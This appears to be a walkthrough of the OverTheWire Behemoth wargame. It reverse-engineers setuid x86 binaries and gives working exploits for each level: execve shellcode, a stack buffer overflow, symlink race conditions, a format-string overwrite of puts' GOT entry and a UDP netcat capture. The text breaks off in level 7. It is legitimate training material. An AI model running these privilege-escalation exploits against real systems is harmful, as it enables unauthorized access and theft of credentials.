Over the Wire: Behemoth

Written by Paco Pascal, on 17 May 2022.
Tags: #hacking

About this Document

This document is a light-weight walk-through for solving the wargame named Behemoth which is provided by "Over The Wire". It consists of elementary security vulnerabilities on the 32 bit x86 platform. You can find the wargame here.

Each level consists of one vulnerable program, that can be exploited to escalate privileges and capture the password for the next level.

The format of this document is to present the vulnerability followed by one possible exploit. No attempt is made to explain generic knowledge such as C, GDB, or how the exploits work.

All passwords are omitted.

Code & Conventions Used Throughout

The working directories throughout the outline are generated by cd $(mktemp -d). However, everything is presented in a relative manner.

All passwords are kept in /etc/behemoth_pass/.

Two pieces of code will be reused across levels. One being shellcode and the other being getenvaddr.

Shellcode

Because we only care about getting the passwords by reading a file located in /etc/behemoth_pass/, we don't care about spawning a shell (unless we're forced to for some reason). Therefore, our shellcode executes /bin/cat to print the contents of /etc/behemoth_pass/behemothX to standard out. The X at the end of the path is replaced by the appropriate level, which makes this shellcode easily reusable for any level that calls for it.

shellcode.asm

 1: BITS 32
 2: 
 3: xor eax, eax    ; Our null byte
 4: push eax
 5: 
 6: mov edx, esp    ; Save the address of our null byte
 7: push "/cat"
 8: push "/bin"     ; Pushes "/bin/cat\0" on the stack
 9: mov ebx, esp    ; Keep the address of "/bin/cat\0"
10: 
11: push eax        ; push "\0"
12: push "othX"     ; Change the X to the correct level number
13: push "ehem"
14: push "///b"
15: push "pass"
16: push "oth_"
17: push "ehem"
18: push "///b"
19: push "/etc"     ; Creates "/etc///behemoth_pass///behemothX\0"
20: mov ebp, esp    ; Save
21: 
22: push eax        ; NULL
23: push ebp        ; Pointer to "/etc///behemoth_pass///behemothX\0"
24: push ebx        ; Pointer to "/bin/cat\0"
25: mov ecx, esp    ; Pointer to array of strings that's terminated with NULL
26: 
27: mov al, 11      ; execve("/bin/cat", (char*[]) {"/bin/cat", "/etc///behemoth_pass///behemothX", NULL}, (char*[]) {NULL});
28: int 0x80        

Compiling

Edit line 12 by replacing X with the correct level number. Then use NASM to assemble the shellcode.

1: $ nasm -o shellcode -f bin shellcode.asm

Environment Variables

The environment variable EGG will be used to store shellcode. In order to get the address of our environment variable, we'll use getenvaddr.c. This code is taken from Jon Erikson's book "Hacking: The Art of Exploitation".

getenvaddr.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv)
{
    const char* ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
    printf("%x\n", ptr);
    return 0;
}

Compiling

To compile this, do the following:

1: $ gcc -m32 -o getenvaddr getenvaddr.c

Level 0

The Vulnerability

When the program is ran, the user is prompted for a password. The user given password is checked against a hard-coded string. This string is the password that causes the program to continue it's normal execution and spawns a shell. Line 48 is where a shell owned by behemoth1 would be spawned if the correct password is given.

Line 33 is where the string comparison happens between the given password and the correct password. You can see our input string is stored in $ebp-0x5d and the correct password is stored in $ebp-1c. However, it is "encrypted". The function for encrypting and decrypting the password is memfrob.

 1: 080485b1 <main>:
 2:  80485b1:       55                      push   ebp
 3:  80485b2:       89 e5                   mov    ebp,esp
 4:  80485b4:       53                      push   ebx
 5:  80485b5:       83 ec 5c                sub    esp,0x5c
 6:  80485b8:       c7 45 e4 4f 4b 5e 47    mov    DWORD PTR [ebp-0x1c],0x475e4b4f
 7:  80485bf:       c7 45 e8 53 59 42 45    mov    DWORD PTR [ebp-0x18],0x45425953
 8:  80485c6:       c7 45 ec 58 5e 59 00    mov    DWORD PTR [ebp-0x14],0x595e58
 9:  80485cd:       c7 45 f8 00 87 04 08    mov    DWORD PTR [ebp-0x8],0x8048700
10:  80485d4:       c7 45 f4 18 87 04 08    mov    DWORD PTR [ebp-0xc],0x8048718
11:  80485db:       c7 45 f0 2d 87 04 08    mov    DWORD PTR [ebp-0x10],0x804872d
12:  80485e2:       68 41 87 04 08          push   0x8048741
13:  80485e7:       e8 14 fe ff ff          call   8048400 <printf@plt>
14:  80485ec:       83 c4 04                add    esp,0x4
15:  80485ef:       8d 45 a3                lea    eax,[ebp-0x5d]
16:  80485f2:       50                      push   eax
17:  80485f3:       68 4c 87 04 08          push   0x804874c
18:  80485f8:       e8 73 fe ff ff          call   8048470 <__isoc99_scanf@plt>
19:  80485fd:       83 c4 08                add    esp,0x8
20:  8048600:       8d 45 e4                lea    eax,[ebp-0x1c]
21:  8048603:       50                      push   eax
22:  8048604:       e8 47 fe ff ff          call   8048450 <strlen@plt>
23:  8048609:       83 c4 04                add    esp,0x4
24:  804860c:       50                      push   eax
25:  804860d:       8d 45 e4                lea    eax,[ebp-0x1c]
26:  8048610:       50                      push   eax
27:  8048611:       e8 75 ff ff ff          call   804858b <memfrob>
28:  8048616:       83 c4 08                add    esp,0x8
29:  8048619:       8d 45 e4                lea    eax,[ebp-0x1c]
30:  804861c:       50                      push   eax
31:  804861d:       8d 45 a3                lea    eax,[ebp-0x5d]
32:  8048620:       50                      push   eax
33:  8048621:       e8 ca fd ff ff          call   80483f0 <strcmp@plt>
34:  8048626:       83 c4 08                add    esp,0x8
35:  8048629:       85 c0                   test   eax,eax
36:  804862b:       75 32                   jne    804865f <main+0xae>
37:  804862d:       68 51 87 04 08          push   0x8048751
38:  8048632:       e8 e9 fd ff ff          call   8048420 <puts@plt>
39:  8048637:       83 c4 04                add    esp,0x4
40:  804863a:       e8 d1 fd ff ff          call   8048410 <geteuid@plt>
41:  804863f:       89 c3                   mov    ebx,eax
42:  8048641:       e8 ca fd ff ff          call   8048410 <geteuid@plt>
43:  8048646:       53                      push   ebx
44:  8048647:       50                      push   eax
45:  8048648:       e8 f3 fd ff ff          call   8048440 <setreuid@plt>
46:  804864d:       83 c4 08                add    esp,0x8
47:  8048650:       68 62 87 04 08          push   0x8048762
48:  8048655:       e8 d6 fd ff ff          call   8048430 <system@plt>
49:  804865a:       83 c4 04                add    esp,0x4
50:  804865d:       eb 0d                   jmp    804866c <main+0xbb>
51:  804865f:       68 6a 87 04 08          push   0x804876a
52:  8048664:       e8 b7 fd ff ff          call   8048420 <puts@plt>
53:  8048669:       83 c4 04                add    esp,0x4
54:  804866c:       b8 00 00 00 00          mov    eax,0x0
55:  8048671:       8b 5d fc                mov    ebx,DWORD PTR [ebp-0x4]
56:  8048674:       c9                      leave
57:  8048675:       c3                      ret

The Exploit

We can open up a debugger and either set a breakpoint at strcmp and look at the decrypted string or we can call memfrob on the string and look at it. We'll do the latter because it's a little more educational.

There's some initializing on $ebp-0x1c happening at the beginning of main. (You can see this above on lines 6 through 11.) Because of this, we'll set the breakpoint at printf and then do our work. Let's check the length of $ebp-0x1c and call memfrob.

1: $ gdb -q /behemoth/behemoth0
2: Reading symbols from /behemoth/behemoth0...(no debugging symbols found)...done.
3: (gdb) b printf
4: Breakpoint 1 at 0x8048400
5: (gdb) r
6: Starting program: /behemoth/behemoth0
7: 
8: Breakpoint 1, 0xf7e5b7d0 in printf () from /lib32/libc.so.6

At this point, the the password string is initialized at $ebp-0x1c but it's encrypted. We can see the encrypted string by doing,

1: (gdb) x/s $ebp-0x1c
2: 0xffffd6ac:     "OK^GSYBEX^Y"

Now let's decrypted it by calling memfrob. If you look at what's happening, you'll see that memfrob takes 2 arguments; the first being a pointer to a string and the second being the length of the string. Therefore, in order to call memfrob, we need the length of $ebp-0x1c. We can get this by calling strlen.

 1: (gdb) call strlen($ebp-0x1c)
 2: $1 = 11
 3: (gdb) call memfrob($ebp-0x1c, 11)
 4: $2 = 0
 5: (gdb) x/s $ebp-0x1c
 6: 0xffffd6ac:     "eatmyshorts"
 7: (gdb) quit
 8: A debugging session is active.
 9: 
10:         Inferior 1 [process 16747] will be killed.
11: 
12: Quit anyway? (y or n) y

Now that we have what we think is the password, we can test it.

1: $ /behemoth/behemoth0
2: Password: eatmyshorts
3: Access granted..
4: $ whoami
5: behemoth1
6: $

Now we have the correct privileges to read /etc/behemoth_pass/behemoth1.

Level 1

The Vulnerability

A classic buffer overflow on the stack.

User input is being written to a buffer on the stack with gets that is 0x43 (67) bytes long. Therefore, this is vulnerable to over writing the return address of main.

 1: 0804844b <main>:
 2:  804844b:       55                      push   ebp
 3:  804844c:       89 e5                   mov    ebp,esp
 4:  804844e:       83 ec 44                sub    esp,0x44
 5:  8048451:       68 00 85 04 08          push   0x8048500
 6:  8048456:       e8 a5 fe ff ff          call   8048300 <printf@plt>
 7:  804845b:       83 c4 04                add    esp,0x4
 8:  804845e:       8d 45 bd                lea    eax,[ebp-0x43]
 9:  8048461:       50                      push   eax
10:  8048462:       e8 a9 fe ff ff          call   8048310 <gets@plt>
11:  8048467:       83 c4 04                add    esp,0x4
12:  804846a:       68 0c 85 04 08          push   0x804850c
13:  804846f:       e8 ac fe ff ff          call   8048320 <puts@plt>
14:  8048474:       83 c4 04                add    esp,0x4
15:  8048477:       b8 00 00 00 00          mov    eax,0x0
16:  804847c:       c9                      leave
17:  804847d:       c3                      ret

The Exploit

We'll put our shellcode in $EGG and overwrite the return address from main to point to $EGG.

1: $ export EGG=$(cat shellcode)
2: $ ./getenvaddr EGG /behemoth/behemoth1
3: ffffda2d

Because the x86 architecture is little endian, we have to put the bytes in the correct order. The low-order byte goes first and the high-order byte last.

1: $ printf "%s\x2d\xda\xff\xff" $(python -c "print('A' * 71)") | /behemoth/behemoth1
2: Password: Authentication failure.
3: Sorry.
4: XXXXXXXXXX
5: $

The shellcode displays the contents of /etc/behemoth_pass/behemoth2, which I have censored here.

Level 2

The Vulnerability

This awkward program has a vulnerable race condition. It tries to create a file who's filename is the PID of the process creating it. Then the program sleeps for 33.3 minutes. When it wakes up, it prints out the contents of the file it created.

Therefore, if we can replace the created file with a symbolic link that points to /etc/behemoth_pass/behemoth3, then we can possibly captured the password.

 1: 0804856b <main>:
 2:  804856b:       8d 4c 24 04             lea    ecx,[esp+0x4]
 3:  804856f:       83 e4 f0                and    esp,0xfffffff0
 4:  8048572:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 5:  8048575:       55                      push   ebp
 6:  8048576:       89 e5                   mov    ebp,esp
 7:  8048578:       53                      push   ebx
 8:  8048579:       51                      push   ecx
 9:  804857a:       83 c4 80                add    esp,0xffffff80
10:  804857d:       e8 7e fe ff ff          call   8048400 <getpid@plt>
11:  8048582:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
12:  8048585:       8d 45 dc                lea    eax,[ebp-0x24]
13:  8048588:       83 c0 06                add    eax,0x6
14:  804858b:       89 45 f0                mov    DWORD PTR [ebp-0x10],eax
15:  804858e:       83 ec 04                sub    esp,0x4
16:  8048591:       ff 75 f4                push   DWORD PTR [ebp-0xc]
17:  8048594:       68 10 87 04 08          push   0x8048710
18:  8048599:       8d 45 dc                lea    eax,[ebp-0x24]
19:  804859c:       50                      push   eax
20:  804859d:       e8 9e fe ff ff          call   8048440 <sprintf@plt>
21:  80485a2:       83 c4 10                add    esp,0x10
22:  80485a5:       83 ec 08                sub    esp,0x8
23:  80485a8:       8d 85 78 ff ff ff       lea    eax,[ebp-0x88]
24:  80485ae:       50                      push   eax
25:  80485af:       ff 75 f0                push   DWORD PTR [ebp-0x10]
26:  80485b2:       e8 19 01 00 00          call   80486d0 <__lstat>
27:  80485b7:       83 c4 10                add    esp,0x10
28:  80485ba:       25 00 f0 00 00          and    eax,0xf000
29:  80485bf:       3d 00 80 00 00          cmp    eax,0x8000
30:  80485c4:       74 36                   je     80485fc <main+0x91>
31:  80485c6:       83 ec 0c                sub    esp,0xc
32:  80485c9:       ff 75 f0                push   DWORD PTR [ebp-0x10]
33:  80485cc:       e8 1f fe ff ff          call   80483f0 <unlink@plt>
34:  80485d1:       83 c4 10                add    esp,0x10
35:  80485d4:       e8 07 fe ff ff          call   80483e0 <geteuid@plt>
36:  80485d9:       89 c3                   mov    ebx,eax
37:  80485db:       e8 00 fe ff ff          call   80483e0 <geteuid@plt>
38:  80485e0:       83 ec 08                sub    esp,0x8
39:  80485e3:       53                      push   ebx
40:  80485e4:       50                      push   eax
41:  80485e5:       e8 36 fe ff ff          call   8048420 <setreuid@plt>
42:  80485ea:       83 c4 10                add    esp,0x10
43:  80485ed:       83 ec 0c                sub    esp,0xc
44:  80485f0:       8d 45 dc                lea    eax,[ebp-0x24]
45:  80485f3:       50                      push   eax
46:  80485f4:       e8 17 fe ff ff          call   8048410 <system@plt>
47:  80485f9:       83 c4 10                add    esp,0x10
48:  80485fc:       83 ec 0c                sub    esp,0xc
49:  80485ff:       68 d0 07 00 00          push   0x7d0
50:  8048604:       e8 c7 fd ff ff          call   80483d0 <sleep@plt>
51:  8048609:       83 c4 10                add    esp,0x10
52:  804860c:       8d 45 dc                lea    eax,[ebp-0x24]
53:  804860f:       c7 00 63 61 74 20       mov    DWORD PTR [eax],0x20746163
54:  8048615:       c6 40 04 00             mov    BYTE PTR [eax+0x4],0x0
55:  8048619:       c6 45 e0 20             mov    BYTE PTR [ebp-0x20],0x20
56:  804861d:       e8 be fd ff ff          call   80483e0 <geteuid@plt>
57:  8048622:       89 c3                   mov    ebx,eax
58:  8048624:       e8 b7 fd ff ff          call   80483e0 <geteuid@plt>
59:  8048629:       83 ec 08                sub    esp,0x8
60:  804862c:       53                      push   ebx
61:  804862d:       50                      push   eax
62:  804862e:       e8 ed fd ff ff          call   8048420 <setreuid@plt>
63:  8048633:       83 c4 10                add    esp,0x10
64:  8048636:       83 ec 0c                sub    esp,0xc
65:  8048639:       8d 45 dc                lea    eax,[ebp-0x24]
66:  804863c:       50                      push   eax
67:  804863d:       e8 ce fd ff ff          call   8048410 <system@plt>
68:  8048642:       83 c4 10                add    esp,0x10
69:  8048645:       b8 00 00 00 00          mov    eax,0x0
70:  804864a:       8d 65 f8                lea    esp,[ebp-0x8]
71:  804864d:       59                      pop    ecx
72:  804864e:       5b                      pop    ebx
73:  804864f:       5d                      pop    ebp
74:  8048650:       8d 61 fc                lea    esp,[ecx-0x4]
75:  8048653:       c3                      ret

The Exploit

Because the process is running as behemoth3, we need to ensure the process has permission to write to the directories and files we need. To accomplish this, we'll make a new directory and give it 777 permissions. Then we'll make a file called pass.txt and give it the same permissions.

1: $ mkdir w
2: $ chmod 777
3: $ cd w
4: $ touch pass.txt
5: $ chmod 777 pass.txt

This hack will take 33.3 minutes to complete. Because we don't want to sit here watching for a password to pop up, we'll run the process in the background and pipe the output to pass.txt. After we start the process, we'll know the PID and hence know the filename we need to overwrite with a symbolic link.

1: $ behemoth/behemoth2 > pass.txt &
2: [1] 29355
3: $ ln -sf /etc/behemoth_pass/behemoth3 29355

We can run the following shell script snippet to sound the bell when the process has ended.

1: $ while (2>&1 kill -0 29355 | grep permitted > /dev/null); do
2: > echo "Process still running..."
3: > sleep 5
4: > done; \
5: > echo -ne '\007'; \ # Ring the bell
6: > cat pass.txt

Level 3

The Vulnerability

This level has a format string vulnerability. The user is prompted for input and that input is passed directly to printf. Therefore, a user can inject formatting syntax that printf understands.

This can be used to overwrite parts of memory using the %n specifier; which implies we can overwrite a return address, parts of the .plt section or something else we choose.

Looking at the disassembly of main, we see puts is called at address 0x80484cc.

 1: 0804847b <main>:
 2:  804847b:       55                      push   ebp
 3:  804847c:       89 e5                   mov    ebp,esp
 4:  804847e:       81 ec c8 00 00 00       sub    esp,0xc8
 5:  8048484:       68 60 85 04 08          push   0x8048560
 6:  8048489:       e8 a2 fe ff ff          call   8048330 <printf@plt>
 7:  804848e:       83 c4 04                add    esp,0x4
 8:  8048491:       a1 c0 97 04 08          mov    eax,ds:0x80497c0
 9:  8048496:       50                      push   eax
10:  8048497:       68 c8 00 00 00          push   0xc8
11:  804849c:       8d 85 38 ff ff ff       lea    eax,[ebp-0xc8]
12:  80484a2:       50                      push   eax
13:  80484a3:       e8 98 fe ff ff          call   8048340 <fgets@plt>
14:  80484a8:       83 c4 0c                add    esp,0xc
15:  80484ab:       68 74 85 04 08          push   0x8048574
16:  80484b0:       e8 7b fe ff ff          call   8048330 <printf@plt>
17:  80484b5:       83 c4 04                add    esp,0x4
18:  80484b8:       8d 85 38 ff ff ff       lea    eax,[ebp-0xc8]
19:  80484be:       50                      push   eax
20:  80484bf:       e8 6c fe ff ff          call   8048330 <printf@plt>
21:  80484c4:       83 c4 04                add    esp,0x4
22:  80484c7:       68 7e 85 04 08          push   0x804857e
23:  80484cc:       e8 7f fe ff ff          call   8048350 <puts@plt>
24:  80484d1:       83 c4 04                add    esp,0x4
25:  80484d4:       b8 00 00 00 00          mov    eax,0x0
26:  80484d9:       c9                      leave  
27:  80484da:       c3                      ret

Because the program is calling puts from a dynamically loaded library, it needs to know how to find the address where puts resides. This information is supplied by the .plt section.

1: 08048350 <puts@plt>:
2: 8048350:       ff 25 ac 97 04 08       jmp    DWORD PTR ds:0x80497ac
3: 8048356:       68 10 00 00 00          push   0x10
4: 804835b:       e9 c0 ff ff ff          jmp    8048320 <.plt>

We can see from the above disassembly that the pointer to puts is 0x80497ac.

The Exploit

Let's first prepare our shellcode.

1: $ export EGG=$(cat shellcode)
2: $ ./getenvaddr EGG /behemoth/behemoth3
3: ffffde2d

From the .plt section, we know the pointer for puts is 0x80497ac. We'll overwrite the value in two steps. First overwriting 2 bytes at 0x80497ac. Then overwriting 2 bytes at 0x80497ae. The order matters. The %n specifier writes 4 bytes (an unsigned int) and we don't want to overwrite the upper 2 bytes of our address when writing the lower two bytes.

Our string for printf will conceptually consist of two parts. The first is "\xac\x97\x04\x08\xae\x97\x04\x08" which will act as pointers for %n. The second part will have this structure "%c%1$n%c%2$n". We just have to figure out how many chars to print so that %n will write the correct value.

If we use the strings above as they are, the lower 2 bytes would be written with 0x09 and the upper 2 bytes would be 0x0a. We need the lower 2 bytes to be 0xde2d. Therefore, we need to write 56869 (0xde25) more characters and then 8658 (0x21d2) more characters for the last 2 bytes.

The final result looks like this:

1: $ printf '\xac\x97\x04\x08\xae\x97\x04\x08%%56869c%%1$n%%8658c%%2$n' | /behemoth/behemoth3
2: 
3: XXXXXXXXXX

Level 4

The Vulnerability

This level is very similar to level 2. The program is trying to open a file that's named after it's PID. Then it prints out the file contents. We can see in the beginning of main, getpid is called (at 0x804858c) and the result is stored in $ebp-0xc. Soon after, the value is used in sprintf to create some new string. You can quickly see that the format string for sprintf is "/tmp/%d".

 1: 0804857b <main>:
 2:  804857b:       8d 4c 24 04             lea    ecx,[esp+0x4]
 3:  804857f:       83 e4 f0                and    esp,0xfffffff0
 4:  8048582:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 5:  8048585:       55                      push   ebp
 6:  8048586:       89 e5                   mov    ebp,esp
 7:  8048588:       51                      push   ecx
 8:  8048589:       83 ec 24                sub    esp,0x24
 9:  804858c:       e8 6f fe ff ff          call   8048400 <getpid@plt>
10:  8048591:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
11:  8048594:       83 ec 04                sub    esp,0x4
12:  8048597:       ff 75 f4                push   DWORD PTR [ebp-0xc]
13:  804859a:       68 c0 86 04 08          push   0x80486c0
14:  804859f:       8d 45 d8                lea    eax,[ebp-0x28]
15:  80485a2:       50                      push   eax
16:  80485a3:       e8 b8 fe ff ff          call   8048460 <sprintf@plt>
17:  80485a8:       83 c4 10                add    esp,0x10
18:  80485ab:       83 ec 08                sub    esp,0x8
19:  80485ae:       68 c8 86 04 08          push   0x80486c8
20:  80485b3:       8d 45 d8                lea    eax,[ebp-0x28]
21:  80485b6:       50                      push   eax
22:  80485b7:       e8 74 fe ff ff          call   8048430 <fopen@plt>

Then there's some yada-yada (that's a technical term) and the content is read and spit out.

 1: 80485bc:       83 c4 10                add    esp,0x10
 2: 80485bf:       89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 3: 80485c2:       83 7d f0 00             cmp    DWORD PTR [ebp-0x10],0x0
 4: 80485c6:       75 12                   jne    80485da <main+0x5f>
 5: 80485c8:       83 ec 0c                sub    esp,0xc
 6: 80485cb:       68 ca 86 04 08          push   0x80486ca
 7: 80485d0:       e8 3b fe ff ff          call   8048410 <puts@plt>
 8: 80485d5:       83 c4 10                add    esp,0x10
 9: 80485d8:       eb 52                   jmp    804862c <main+0xb1>
10: 80485da:       83 ec 0c                sub    esp,0xc
11: 80485dd:       6a 01                   push   0x1
12: 80485df:       e8 0c fe ff ff          call   80483f0 <sleep@plt>
13: 80485e4:       83 c4 10                add    esp,0x10
14: 80485e7:       83 ec 0c                sub    esp,0xc
15: 80485ea:       68 d9 86 04 08          push   0x80486d9
16: 80485ef:       e8 1c fe ff ff          call   8048410 <puts@plt>
17: 80485f4:       83 c4 10                add    esp,0x10
18: 80485f7:       eb 0e                   jmp    8048607 <main+0x8c>
19: 80485f9:       83 ec 0c                sub    esp,0xc
20: 80485fc:       ff 75 ec                push   DWORD PTR [ebp-0x14]
21: 80485ff:       e8 3c fe ff ff          call   8048440 <putchar@plt>
22: 8048604:       83 c4 10                add    esp,0x10
23: 8048607:       83 ec 0c                sub    esp,0xc
24: 804860a:       ff 75 f0                push   DWORD PTR [ebp-0x10]
25: 804860d:       e8 3e fe ff ff          call   8048450 <fgetc@plt>
26: 8048612:       83 c4 10                add    esp,0x10
27: 8048615:       89 45 ec                mov    DWORD PTR [ebp-0x14],eax
28: 8048618:       83 7d ec ff             cmp    DWORD PTR [ebp-0x14],0xffffffff
29: 804861c:       75 db                   jne    80485f9 <main+0x7e>
30: 804861e:       83 ec 0c                sub    esp,0xc
31: 8048621:       ff 75 f0                push   DWORD PTR [ebp-0x10]
32: 8048624:       e8 b7 fd ff ff          call   80483e0 <fclose@plt>
33: 8048629:       83 c4 10                add    esp,0x10
34: 804862c:       b8 00 00 00 00          mov    eax,0x0
35: 8048631:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
36: 8048634:       c9                      leave
37: 8048635:       8d 61 fc                lea    esp,[ecx-0x4]
38: 8048638:       c3                      ret

Thus, if we know the PID we can create a symbolic link in /tmp/ that points to /etc/behemoth_pass/behemoth5.

The Exploit

The exploit is fairly straight forward. We'll implement a wrapper that forks to capture the PID. The parent process will create the symlink and the child will execute /behemoth/behemoth4.

#include <stdio.h>
#include <unistd.h>

int main() {
  int pid = fork();
  char file[] = "/tmp/XXXXXXXXXXXXXXXX";

  if (pid == 0) {
    printf("Child is sleeping...\n");
    sleep(5);
    printf("Child woke up!\n");
    printf("Executing behemoth4");
    execl("/behemoth/behemoth4", "behemoth4", NULL);
  } else {
    sprintf(file + sizeof("/tmp/") - 1, "%d", pid);
    printf("Making symlink: %s -> /etc/behemoth_pass/behemoth5\n", file);
    symlink("/etc/behemoth_pass/behemoth5", file);
  }

  return 0;
}

We'll save this code exploit.c and compile it.

1: $ gcc -o exploit exploit.c
2: $ ./exploit > pass.txt

Wait for 5 seconds and then,

1: $ cat pass.txt
2: Making symlink: /tmp/16830 -> /etc/behemoth_pass/behemoth5
3: Finished sleeping, fgetcing
4: XXXXXXXXXX

Level 5

The Vulnerability

I'm not going to post the entire disassembly because it's long and we don't need to reference most of it.

Immediately, the program is opening a file which happens to be the password file we want to read, /etc/behemoth_pass/behemoth6. The strings 0x80489a0 and 0x80489a2 are "r" and /etc/behemoth_pass/behemoth6 respectively.

 1: 0804872b <main>:
 2:  804872b:       8d 4c 24 04             lea    ecx,[esp+0x4]
 3:  804872f:       83 e4 f0                and    esp,0xfffffff0
 4:  8048732:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 5:  8048735:       55                      push   ebp
 6:  8048736:       89 e5                   mov    ebp,esp
 7:  8048738:       51                      push   ecx
 8:  8048739:       83 ec 34                sub    esp,0x34
 9:  804873c:       c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
10:  8048743:       83 ec 08                sub    esp,0x8
11:  8048746:       68 a0 89 04 08          push   0x80489a0
12:  804874b:       68 a2 89 04 08          push   0x80489a2
13:  8048750:       e8 5b fe ff ff          call   80485b0 <fopen@plt>

So the question is, what is the program going to do with the file? The answer is read the contents and write those contents to a socket. Therefore, we need to know the socket type (such as TCP, UDP, or UNIX). In addition to this we need to know either the port or filename of the socket.

We can see that it's a connection-less socket over IP. The 0x2 at 0x8048834 refers to SOCK_DGRAM and the 0x2 at 0x8048836 refers to PF_INET. Therefore, it's a UDP socket.

1: 8048832:       6a 00                   push   0x0
2: 8048834:       6a 02                   push   0x2
3: 8048836:       6a 02                   push   0x2
4: 8048838:       e8 b3 fd ff ff          call   80485f0 <socket@plt>

The port number can be found here which ends up being 1337.

1: 804886c:       68 e4 89 04 08          push   0x80489e4
2: 8048871:       e8 6a fd ff ff          call   80485e0 <atoi@plt>

The Exploit

This will be extremely easy. We'll use netcat to listen on a UDP socket using port 1337.

1: $ nc -u -l -p 1337 > pass.txt &
2: [2] 18669
3: $ /behemoth/behemoth5
4: $ cat pass.txt
5: XXXXXXXXXX

Level 6

The Vulnerability

Level 6 consists of two executables, /behemoth/behemoth6 and /behemoth/behemoth6_reader. The former executes behemoth6_reader with popen and reads it's output. If the output matches "HelloKitty", it spawns a shell owned behemoth7.

Therefore, to solve this level, we need to force behemoth6_reader to print out "HelloKitty". If we look at what behemoth6_reader does, it reads the contents of a filename "shellcode.txt" into memory and then calls it as a function. However, if "shellcode.txt" has a 0xb byte, it fails.

There are so many ways this can be exploited.

The Exploit

One solution is to write some shellcode that prints out "HelloKitty". The following shellcode accomplishes this:

 1: BITS 32
 2: %define PUTS [0x804a020]
 3: push ebp
 4: mov ebp,esp
 5: xor eax, eax
 6: push eax
 7: push "itty"
 8: push "lloK"
 9: push "xxHe"
10: inc esp
11: inc esp
12: push esp
13: call PUTS
14: mov esp, ebp
15: pop ebp
16: ret

We need to make a directory that the user behemoth7 can access.

1: $ mkdir w
2: $ chmod 777 w
3: $ cd w

Now let's assemble our shellcode and run behemoth6.

1: $ nasm -o shellcode.txt ../shellcode6.asm
2: $ /behemoth/behemoth6
3: Correct.
4: $ whoami
5: behemoth7
6: $ cat /etc/behemoth_pass/behemoth7
7: XXXXXXXXXX
8: $

Alternative Exploit

Just to make the point that there's more than one solution to these levels, I'll provide another method. The shellcode is running as behemoth7. Therefore we can directly access files owned by behemoth7 from the shellcode.

Instead of having our shellcode print out "HelloKitty", we can just copy the contents of /etc/behemoth_pass/behemoth7 to a file behemoth6 can read.

Here's shellcode that avoids the byte 0xb and executes a file named X in the local directory.

 1: BITS 32
 2: 
 3: xor eax, eax    ; Our null byte
 4: push eax
 5: mov ecx, esp    ; Array of {NULL}
 6: mov edx, esp    ; Array of {NULL}
 7: push ".//X"
 8: mov ebx, esp
 9: inc al
10: add al, 10      ; Avoid 0xb
11: int 0x80

Let's write a C program called X.c that will copy the password out of /etc/behemoth_pass/behemoth7 and into pass.txt.

#include <stdio.h>

int main(int argc, char** argv)
{
  const char* file = "/etc/behemoth_pass/behemoth7";
  FILE* out = fopen("pass.txt", "w");

  if (!out)
    return -1;

  FILE* in  = fopen(file, "r");
  if (!in) {
    fprintf(out, "Failed to open %s", file);
    fclose(out);
    return -1;
  }

  int c;
  while ((c = fgetc(in)) != EOF)
    fprintf(out, "%c", c);

  fclose(out);
  fclose(in);
  return 0;
}

Now we'll assemble, compile, and run.

 1: $ mkdir w
 2: $ chmod 777 w
 3: $ cd w
 4: $ touch pass.txt
 5: $ chmod 777 pass.txt
 6: $ nasm -o shellcode.txt -f bin shellcode6.1.asm
 7: $ gcc -m32 -o X X.c
 8: $ /behemoth/behemoth6
 9: Incorrect output.
10: $ cat pass.txt
11: XXXXXXXXXX

Level 7

The Vulnerability

This level uses the vulnerable strcpy function. But it tries to protect against us running shellcode by zeroing the memory that holds all the environment variables. It also checks argv[1] for non-alphanumeric characters. If such characters are found, the process exits before reaching strcpy.

Notice I said argv[1] is checked. It never checks argv[2] and beyond. Therefore, we can inject our shellcode there. The buffer size that argv[1] is copied into is 524 bytes.

 1: 0804852b <main>:
 2:  804852b:       55                      push   ebp
 3:  804852c:       89 e5                   mov    ebp,esp
 4:  804852e:       81 ec 0c 02 00 00       sub    esp,0x20c
 5:  8048534:       8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 6:  8048537:       8b 40 04                mov    eax,DWORD PTR [eax+0x4]
 7:  804853a:       89 45 fc                mov    DWORD PTR [ebp-0x4],eax
 8:  804853d:       c7 45 f8 00 00 00 00    mov    DWORD PTR [ebp-0x8],0x0
 9:  8048544:       eb 3d                   jmp    8048583 <main+0x58>
10:  8048546:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
11:  8048549:       8d 14 85 00 00 00 00    lea    edx,[eax*4+0x0]
12:  8048550:       8b 45 10                mov    eax,DWORD PTR [ebp+0x10]
13:  8048553:       01 d0                   add    eax,edx
14:  8048555:       8b 00                   mov    eax,DWORD PTR [eax]
15:  8048557:       50                      push   eax
16:  8048558:       e8 73 fe ff ff          call   80483d0 <strlen@plt>
17:  804855d:       83 c4 04                add    esp,0x4
18:  8048560:       89 c2                   mov    edx,eax
19:  8048562:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
20:  8048565:       8d 0c 85 00 00 00 00    lea    ecx,[eax*4+0x0]
21:  804856c:       8b 45 10                mov    eax,DWORD PTR [ebp+0x10]
22:  804856f:       01 c8                   add    eax,ecx
23:  8048571:       8b 00                   mov    eax,DWORD PTR [eax]
24:  8048573:       52                      push   edx
25:  8048574:       6a 00                   push   0x0
26:  8048576:       50                      push   eax
27:  8048577:       e8 84 fe ff ff          call   8048400 <memset@plt>
28:  804857c:       83 c4 0c                add    esp,0xc
29:  804857f:       83 45 f8 01             add    DWORD PTR [ebp-0x8],0x1
30:  8048583:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
31:  8048586:       8d 14 85 00 00 00 00    lea    edx,[eax*4+0x0]
32:  804858d:       8b 45 10                mov    eax,DWORD PTR [ebp+0x10]
33:  8048590:       01 d0                   add    eax,edx
34:  8048592:       8b 00                   mov    eax,DWORD PTR [eax]
